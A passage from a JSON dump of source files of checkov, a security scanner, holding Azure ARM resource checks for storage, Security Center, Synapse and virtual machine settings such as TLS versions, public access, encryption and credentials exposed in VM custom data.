    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SecurityCenterContactEmailAlertAdmins(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts\n        name = \"Ensure that 'Send email notification for high severity alerts' is set to 'On'\"\n        id = \"CKV_AZURE_22\"\n        supported_resources = ('Microsoft.Security/securityContacts',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"alertsToAdmins\" in conf[\"properties\"]:\n                if str(conf[\"properties\"][\"alertsToAdmins\"]).lower() == \"on\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/alertsToAdmins']\n\n\ncheck = SecurityCenterContactEmailAlertAdmins()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecurityCenterContactPhone.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SecurityCenterContactPhone(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts\n        name = \"Ensure that security contact 'Phone number' is set\"\n        id = \"CKV_AZURE_20\"\n        supported_resources = ('Microsoft.Security/securityContacts',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"phone\" in conf[\"properties\"]:\n                if conf[\"properties\"][\"phone\"]:\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties\", \"properties/phone\"]\n\n\ncheck = SecurityCenterContactPhone()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SecurityCenterStandardPricing.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SecurityCenterStandardPricing(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.security/securitycontacts\n        name = \"Ensure that standard pricing tier is selected\"\n        id = \"CKV_AZURE_19\"\n        supported_resources = ('Microsoft.Security/pricings',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties\"]\n        if \"properties\" in conf:\n            if \"pricingTier\" in conf[\"properties\"]:\n                self.evaluated_keys = [\"properties/pricingTier\"]\n                if str(conf[\"properties\"][\"pricingTier\"]).lower() == \"standard\":\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = SecurityCenterStandardPricing()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountAzureServicesAccessEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass StorageAccountAzureServicesAccessEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # properties.networkAcls.bypass == \"AzureServices\"\n        # Fail if apiVersion less than 2017 as this setting wasn't available\n        name = \"Ensure 'Trusted Microsoft Services' is enabled for Storage Account access\"\n        id = \"CKV_AZURE_36\"\n        supported_resources = ('Microsoft.Storage/storageAccounts',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            # Fail if apiVersion < 2017 as you could not set networkAcls\n            year = force_int(conf[\"apiVersion\"][0:4])\n\n            if year is None:\n                return CheckResult.UNKNOWN  # Should be handled by variable rendering\n            if year < 2017:\n                self.evaluated_keys = [\"apiVersion\"]\n                return CheckResult.FAILED\n\n        self.evaluated_keys = [\"properties\"]\n        if \"properties\" in conf:\n            if \"networkAcls\" in conf[\"properties\"]:\n                self.evaluated_keys = [\"properties/networkAcls\"]\n                if \"defaultAction\" in conf[\"properties\"][\"networkAcls\"]:\n                    if not isinstance(conf[\"properties\"][\"networkAcls\"], dict):\n                        return CheckResult.UNKNOWN\n                    if conf[\"properties\"][\"networkAcls\"][\"defaultAction\"] == \"Allow\":\n                        return CheckResult.PASSED\n                    elif \"bypass\" in conf[\"properties\"][\"networkAcls\"] and \\\n                            conf[\"properties\"][\"networkAcls\"][\"bypass\"] == \"AzureServices\":\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = StorageAccountAzureServicesAccessEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountDefaultNetworkAccessDeny.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\n\n\n# https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts\n\nclass StorageAccountDefaultNetworkAccessDeny(BaseResourceCheck):\n    def __init__(self) -> None:\n        # properties.networkAcls.bypass == \"AzureServices\"\n        # Fail if apiVersion less than 2017 as this setting wasn't available\n        name = \"Ensure default network access rule for Storage Accounts is set to deny\"\n        id = \"CKV_AZURE_35\"\n        supported_resources = ('Microsoft.Storage/storageAccounts',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"apiVersion\" in conf:\n            # Fail if apiVersion < 2017 as you could not set networkAcls\n            year = force_int(conf[\"apiVersion\"][0:4])\n\n            if year is None:\n                return CheckResult.UNKNOWN\n            elif year < 2017:\n                return CheckResult.FAILED\n\n        if \"properties\" in conf:\n            if \"networkAcls\" in conf[\"properties\"]:\n                if not isinstance(conf[\"properties\"][\"networkAcls\"], dict):\n                    return CheckResult.UNKNOWN\n                if \"defaultAction\" in conf[\"properties\"][\"networkAcls\"]:\n                    if conf[\"properties\"][\"networkAcls\"][\"defaultAction\"] == \"Deny\":\n                        return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"apiVersion\", \"properties\", \"properties/networkAcls\"]\n\n\ncheck = StorageAccountDefaultNetworkAccessDeny()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountDisablePublicAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass StorageAccountDisablePublicAccess(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Storage accounts disallow public access\"\n        id = \"CKV_AZURE_59\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return \"properties/publicNetworkAccess\"\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"Enabled\"]\n\n\ncheck = StorageAccountDisablePublicAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountLoggingQueueServiceEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass StorageAccountLoggingQueueServiceEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts/queueservices\n        # https://github.com/MicrosoftDocs/azure-docs/issues/13195\n        # This check is only relevant for storageAccounts with Queue Service enabled\n\n        # properties.networkAcls.bypass == \"AzureServices\"\n        # Fail if apiVersion less than 2017 as this setting wasn't available\n        name = \"Ensure Storage logging is enabled for Queue service for read, write and delete requests\"\n        id = \"CKV_AZURE_33\"\n        supported_resources = ('Microsoft.Storage/storageAccounts/queueServices/providers/diagnosticsettings',)\n        categories = (CheckCategories.LOGGING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            if \"logs\" in conf[\"properties\"]:\n                if conf[\"properties\"][\"logs\"]:\n                    storage = {}\n                    for log in conf[\"properties\"][\"logs\"]:\n                        if \"category\" in log and \"enabled\" in log:\n                            if str(log[\"enabled\"]).lower() == \"true\":\n                                storage[log[\"category\"]] = True\n                    if \"StorageRead\" in storage.keys() and \\\n                            \"StorageWrite\" in storage.keys() and \\\n                            \"StorageDelete\" in storage.keys():\n                        if storage[\"StorageRead\"] and storage[\"StorageWrite\"] and storage[\"StorageDelete\"]:\n                            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/logs']\n\n\ncheck = StorageAccountLoggingQueueServiceEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountMinimumTlsVersion.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass StorageAccountMinimumTlsVersion(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n            Looks for min_tls_version configuration at azurerm_storage_account to be set to TLS1_2\n            https://www.terraform.io/docs/providers/azurerm/r/storage_account.html#min_tls_version\n            :param conf: azurerm_storage_account configuration\n            :return: <CheckResult>\n        \"\"\"\n        name = \"Ensure Storage Account is using the latest version of TLS encryption\"\n        id = \"CKV_AZURE_44\"\n        supported_resources = ('Microsoft.Storage/storageAccounts',)\n        categories = (CheckCategories.NETWORKING,)\n\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf and \\\n            \"minimumTlsVersion\" in conf[\"properties\"] and \\\n                conf[\"properties\"][\"minimumTlsVersion\"] in ['TLS1_2']:\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties', 'properties/minimumTlsVersion']\n\n\ncheck = StorageAccountMinimumTlsVersion()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountName.py",
    "content": "from __future__ import annotations\n\nimport re\nimport typing\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nSTO_NAME_REGEX = re.compile(r\"^[a-z0-9]{3,24}$\")\nVARIABLE_REFS = (\"local.\", \"module.\", \"var.\", \"random_string.\", \"random_id.\", \"random_integer.\", \"random_pet.\",\n                 \"azurecaf_name\", \"each.\", \"substring\")\n\n\nclass StorageAccountName(BaseResourceCheck):\n    def __init__(self) -> None:\n        \"\"\"\n        Initializes a check to ensure that Storage Accounts adhere to the naming rules.\n\n        The naming reference for Storage Accounts can be found here:\n        https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts\n        \"\"\"\n        name = \"Ensure Storage Accounts adhere to the naming rules\"\n        id = \"CKV_AZURE_43\"\n        supported_resources = ['Microsoft.Storage/storageAccounts']\n        categories = [CheckCategories.CONVENTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, typing.Any]) -> CheckResult:\n        \"\"\"\n        The Storage Account naming reference:\n        https://docs.microsoft.com/en-us/azure/storage/common/storage-account-overview#naming-storage-accounts\n        :param conf: azurerm_storage_account configuration\n        :return: <CheckResult>\n        \"\"\"\n        if \"name\" in conf.keys():\n            name = conf[\"name\"]\n            if name:\n                name = str(name)\n                if any(x in name for x in VARIABLE_REFS):\n                    # in the case we couldn't evaluate the name, just ignore\n                    return CheckResult.UNKNOWN\n                if re.findall(STO_NAME_REGEX, name):\n                    return CheckResult.PASSED\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> typing.List[str]:\n        return [\"name\"]\n\n\ncheck = StorageAccountName()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountsTransportEncryption.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass StorageAccountsTransportEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        # supportsHttpsTrafficOnly: Allows https traffic only to storage service if sets to true. The default value is\n        # true since API version 2019-04-01.\n        name = \"Ensure that 'supportsHttpsTrafficOnly' is set to 'true'\"\n        id = \"CKV_AZURE_3\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        self.evaluated_keys = [\"properties\"]\n        properties = conf.get(\"properties\")\n        if isinstance(properties, dict) and \"supportsHttpsTrafficOnly\" in properties:\n            self.evaluated_keys = [\"properties/supportsHttpsTrafficOnly\"]\n            https = str(properties[\"supportsHttpsTrafficOnly\"]).lower()\n            return CheckResult.PASSED if https == \"true\" else CheckResult.FAILED\n\n        # Use default if supportsHttpsTrafficOnly is not set\n        if \"apiVersion\" in conf:\n            # Default for apiVersion 2019 and newer is supportsHttpsTrafficOnly = True\n            year = force_int(conf[\"apiVersion\"][0:4])\n\n            if year is None:\n                return CheckResult.UNKNOWN\n            elif year < 2019:\n                self.evaluated_keys = [\"apiVersion\"]\n                return CheckResult.FAILED\n            else:\n                return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = StorageAccountsTransportEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageAccountsUseReplication.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\nfrom typing import Any, List\n\n\nclass StorageAccountsUseReplication(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Storage Accounts use replication\"\n        id = \"CKV_AZURE_206\"\n        supported_resources = (\"Microsoft.Storage/storageAccounts\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def get_inspected_key(self) -> str:\n        return \"sku/name\"\n\n    def get_expected_value(self) -> Any:\n        return \"Standard_GRS\"\n\n    def get_expected_values(self) -> List[Any]:\n        return [\"Standard_GRS\", \"Standard_RAGRS\", \"Standard_GZRS\", \"Standard_RAGZRS\"]\n\n\ncheck = StorageAccountsUseReplication()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageBlobServiceContainerPrivateAccess.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass StorageBlobServiceContainerPrivateAccess(BaseResourceCheck):\n    def __init__(self) -> None:\n        # https://docs.microsoft.com/en-us/azure/templates/microsoft.storage/storageaccounts/blobservices/containers\n        # publicAccess default is None\n        name = \"Ensure that 'Public access level' is set to Private for blob containers\"\n        id = \"CKV_AZURE_34\"\n        supported_resources = (\n            'Microsoft.Storage/storageAccounts/blobServices/containers',\n            'containers',\n            'blobServices/containers',\n        )\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if \"properties\" in conf:\n            self.evaluated_keys = [\"properties\"]\n            if \"publicAccess\" in conf[\"properties\"]:\n                self.evaluated_keys = [\"properties/publicAccess\"]\n                if str(conf[\"properties\"][\"publicAccess\"]).lower() == \"container\" or \\\n                        str(conf[\"properties\"][\"publicAccess\"]).lower() == \"blob\":\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = StorageBlobServiceContainerPrivateAccess()\n"
  },
  {
    "path": "checkov/arm/checks/resource/StorageSyncPublicAccessDisabled.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass NetworkInterfaceEnableIPForwarding(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure File Sync disables public network access\"\n        id = \"CKV_AZURE_64\"\n        supported_resources = ('Microsoft.StorageSync/storageSyncServices',)\n        categories = (CheckCategories.NETWORKING,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,\n                         missing_block_result=CheckResult.FAILED)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/incomingTrafficPolicy'\n\n    def get_expected_value(self) -> str:\n        return 'AllowVirtualNetworksOnly'\n\n\ncheck = NetworkInterfaceEnableIPForwarding()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SynapseWorkspaceAdministratorLoginPasswordHidden.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, List\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass SynapseWorkspaceAdministratorLoginPasswordHidden(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Synapse Workspace administrator login password is not exposed\"\n        id = \"CKV_AZURE_239\"\n        supported_resources = ['Microsoft.Synapse/workspaces']\n        categories = [CheckCategories.SECRETS]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        if conf.get(\"properties\", {}).get(\"sqlAdministratorLoginPassword\"):\n            return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return ['properties/sqlAdministratorLoginPassword']\n\n\ncheck = SynapseWorkspaceAdministratorLoginPasswordHidden()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SynapseWorkspaceCMKEncryption.py",
    "content": "from __future__ import annotations\nfrom typing import Any\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass SynapseWorkspaceCMKEncryption(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure Azure Synapse Workspace is encrypted with a CMK\"\n        id = \"CKV_AZURE_240\"\n        supported_resources = ['Microsoft.Synapse/workspaces']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        encryption = conf.get(\"properties\", {}).get(\"encryption\", {})\n\n        if \"cmk\" in encryption:\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_evaluated_keys(self) -> list[str]:\n        return ['properties', 'properties/encryption']\n\n\ncheck = SynapseWorkspaceCMKEncryption()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceValueCheck\n\n\nclass SynapseWorkspaceEnablesDataExfilProtection(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Synapse workspace has data_exfiltration_protection_enabled\"\n        id = \"CKV_AZURE_157\"\n        supported_resources = [\"Microsoft.Synapse/workspaces\"]\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/dataExfiltrationProtectionEnabled'\n\n\ncheck = SynapseWorkspaceEnablesDataExfilProtection()\n"
  },
  {
    "path": "checkov/arm/checks/resource/SynapseWorkspaceEnablesManagedVirtualNetworks.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories\nfrom checkov.arm.base_resource_negative_value_check import BaseResourceNegativeValueCheck\n\n\nclass SynapseWorkspaceEnablesManagedVirtualNetworks(BaseResourceNegativeValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Azure Synapse workspaces enables managed virtual networks\"\n        id = \"CKV_AZURE_58\"\n        supported_resources = ['Microsoft.Synapse/workspaces']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self) -> str:\n        return 'properties/managedVirtualNetwork'\n\n    def get_forbidden_values(self) -> list[Any]:\n        return [\"default\"]\n\n\ncheck = SynapseWorkspaceEnablesManagedVirtualNetworks()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VMCredsInCustomData.py",
    "content": "from typing import List, Dict, Any\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.util.secrets import string_has_secrets, AZURE, GENERAL\nfrom checkov.arm.base_resource_value_check import BaseResourceCheck\n\n\nclass VMCredsInCustomData(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that no sensitive credentials are exposed in VM custom_data\"\n        id = \"CKV_AZURE_45\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\",)\n        categories = (CheckCategories.SECRETS,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources,)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            os_profile = properties.get(\"osProfile\")\n            if isinstance(os_profile, dict):\n                custom_data = os_profile.get(\"customData\")\n                if isinstance(custom_data, str):\n                    if string_has_secrets(custom_data, AZURE, GENERAL):\n                        conf[f'{self.id}_secret'] = custom_data\n                        return CheckResult.FAILED\n        return CheckResult.PASSED\n\n    def get_evaluated_keys(self) -> List[str]:\n        return [\"properties/osProfile/customData\"]\n\n\ncheck = VMCredsInCustomData()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VMDisablePasswordAuthentication.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\n\nclass VMDisablePasswordAuthentication(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Virtual machine does not enable password authentication\"\n        id = \"CKV_AZURE_149\"\n        supported_resources = (\n            \"Microsoft.Compute/virtualMachineScaleSets\",\n            \"Microsoft.Compute/virtualMachines\",\n        )\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        os_profile = None\n\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            self.evaluated_keys = [\"properties\"]\n            if self.entity_type == \"Microsoft.Compute/virtualMachines\":\n                tmp_os_profile = properties.get(\"osProfile\")\n                if tmp_os_profile and isinstance(tmp_os_profile, dict):\n                    self.evaluated_keys = [\"properties/osProfile\"]\n                    os_profile = tmp_os_profile\n            elif self.entity_type == \"Microsoft.Compute/virtualMachineScaleSets\":\n                vm_profile = properties.get(\"virtualMachineProfile\")\n                if vm_profile and isinstance(vm_profile, dict):\n                    tmp_os_profile = vm_profile.get(\"osProfile\")\n                    if tmp_os_profile and isinstance(tmp_os_profile, dict):\n                        self.evaluated_keys = [\"properties/virtualMachineProfile/osProfile\"]\n                        os_profile = tmp_os_profile\n\n            if os_profile is None:\n                return CheckResult.UNKNOWN\n\n            linux_config = os_profile.get(\"linuxConfiguration\")\n            if linux_config and isinstance(linux_config, dict):\n                pass_auth = linux_config.get(\"disablePasswordAuthentication\")\n                if pass_auth and isinstance(pass_auth, bool):\n                    return CheckResult.PASSED if pass_auth and isinstance(pass_auth, bool) else CheckResult.FAILED\n                return CheckResult.FAILED\n\n            return CheckResult.UNKNOWN\n\n        return CheckResult.FAILED\n\n\ncheck = VMDisablePasswordAuthentication()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VMEncryptionAtHostEnabled.py",
    "content": "from __future__ import annotations\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\n\nfrom typing import Any\n\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass VMEncryptionAtHostEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Virtual machine scale sets have encryption at host enabled\"\n        id = \"CKV_AZURE_97\"\n        supported_resources = (\"Microsoft.Compute/virtualMachineScaleSets\", \"Microsoft.Compute/virtualMachines\")\n        categories = (CheckCategories.ENCRYPTION,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        encryption = \"\"\n\n        if self.entity_type == \"Microsoft.Compute/virtualMachines\":\n            self.evaluated_keys = [\"properties/securityProfile/encryptionAtHost\"]\n            encryption = find_in_dict(input_dict=conf, key_path=\"properties/securityProfile/encryptionAtHost\")\n        elif self.entity_type == \"Microsoft.Compute/virtualMachineScaleSets\":\n            self.evaluated_keys = [\"properties/virtualMachineProfile/securityProfile/encryptionAtHost\"]\n            encryption = find_in_dict(\n                input_dict=conf, key_path=\"properties/virtualMachineProfile/securityProfile/encryptionAtHost\"\n            )\n\n        if str(encryption).lower() == \"true\":\n            return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n\ncheck = VMEncryptionAtHostEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VMScaleSetsAutoOSImagePatchingEnabled.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.arm.base_resource_check import BaseResourceCheck\nfrom checkov.common.util.data_structures_utils import find_in_dict\n\n\nclass VMScaleSetsAutoOSImagePatchingEnabled(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that automatic OS image patching is enabled for Virtual Machine Scale Sets\"\n        id = \"CKV_AZURE_95\"\n        supported_resources = (\"Microsoft.Compute/virtualMachineScaleSets\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, Any]) -> CheckResult:\n        properties = conf.get(\"properties\")\n        if properties and isinstance(properties, dict):\n            if properties.get(\"orchestrationMode\") == \"Flexible\":\n                self.evaluated_keys = [\"properties/orchestrationMode\"]\n                return CheckResult.FAILED\n\n            self.evaluated_keys = [\"properties/virtualMachineProfile/extensionProfile/extensions\"]\n            extensions = find_in_dict(\n                input_dict=properties,\n                key_path=\"virtualMachineProfile/extensionProfile/extensions\",\n            )\n            if extensions:\n                for extension in extensions:\n                    extension_properties = extension.get(\"properties\")\n                    if extension_properties and isinstance(extension_properties, dict):\n                        if extension_properties.get(\"enableAutomaticUpgrade\") is True:\n                            return CheckResult.PASSED\n\n            return CheckResult.FAILED\n\n        return CheckResult.UNKNOWN\n\n\ncheck = VMScaleSetsAutoOSImagePatchingEnabled()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VMStorageOsDisk.py",
    "content": "from typing import Any, Dict\n\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.arm.base_resource_value_check import BaseResourceCheck\n\n\nclass VMStorageOsDisk(BaseResourceCheck):\n    def __init__(self) -> None:\n        name = \"Ensure that Virtual Machines use managed disks\"\n        id = \"CKV_AZURE_92\"\n        supported_resources = (\"Microsoft.Compute/virtualMachines\",)\n        categories = (CheckCategories.GENERAL_SECURITY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        properties = conf.get('properties')\n        if not properties or not isinstance(properties, dict):\n            return CheckResult.PASSED\n        storage_profile = properties.get('storageProfile')\n        if not storage_profile or not isinstance(storage_profile, dict):\n            return CheckResult.PASSED\n        os_disk = storage_profile.get('osDisk')\n        data_disks = list(storage_profile.get('dataDisks', []))\n        if os_disk and isinstance(os_disk, dict) and \"vhd\" in os_disk:\n            self.evaluated_keys = ['os_disk']\n            return CheckResult.FAILED\n        if data_disks and any(isinstance(data_disk, dict) and \"vhd\" in data_disk for data_disk in data_disks):\n            self.evaluated_keys = ['data_disks']\n            return CheckResult.FAILED\n        self.evaluated_keys = ['os_disk'] if os_disk else []\n        if data_disks:\n            self.evaluated_keys.append('data_disks')\n        return CheckResult.PASSED\n\n\ncheck = VMStorageOsDisk()\n"
  },
  {
    "path": "checkov/arm/checks/resource/VnetLocalDNS.py",
